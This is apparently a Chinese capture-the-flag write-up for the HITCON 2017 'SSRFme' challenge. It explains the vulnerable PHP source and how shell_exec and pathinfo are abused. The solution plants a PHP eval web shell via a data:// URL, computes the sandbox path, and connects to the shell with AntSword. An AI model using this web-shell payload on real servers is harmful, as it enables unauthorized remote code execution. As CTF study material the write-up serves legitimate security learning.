[HITCON 2017]SSRFme

一进题目就是源码

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

一眼丁真

因为之前有见过sandbox和mkdir的组合技,所以看出来了,就是说我们会创建一个文件叫做sandbox/xxx

但是,这道题有几个没见过的函数

chdir

image-20240604171616901

也就是说改变当前目录改为sandbox/xxx

再完后看,看到了神奇的东西

shell_exec这可是好东西,也就是说可以光明正大的命令执行了

之后还有

pathinfo

image-20240604171854910

也就是说可以字典化

借一篇wp的演示

var_dump(pathinfo('sandox/cfbb870b58817bf7705c0bd826e8dba7/123'));
=>
array(3) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(3) "123"
["filename"]=>
string(3) "123"
}

最后就是和之前那个mkdir经常一起出现的,毕竟新创立一个文件夹肯定要写点东西进去才能做一些奇奇怪怪的事情

所以我们要传入

url:执行命令

filename:创建的文件名

所以我们可以很快反应出来,可以任意命令执行

爽了

?url=data://text/plain,<?php @eval($_POST['2']);?>&filename=flag.php

传输上去之后就说明你已经写入了,接下来就是读文件时刻

怎么读文件呢?

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

也就是说有一个沙盒叫做

sandbox/xxx
//xxx=md5("orange"."ip")

构建一个小脚本

<?php
$sandox="sandbox/" . md5("orange"."223.147.3.51");
echo $sandox;
//sandbox/70fe05dce7bd92f0eb22d188342095c2(我的)

所以,我们就直接蚁剑连接

找到flag和readflag

分别读取一下,发现readflag是可以的

image-20240604212937666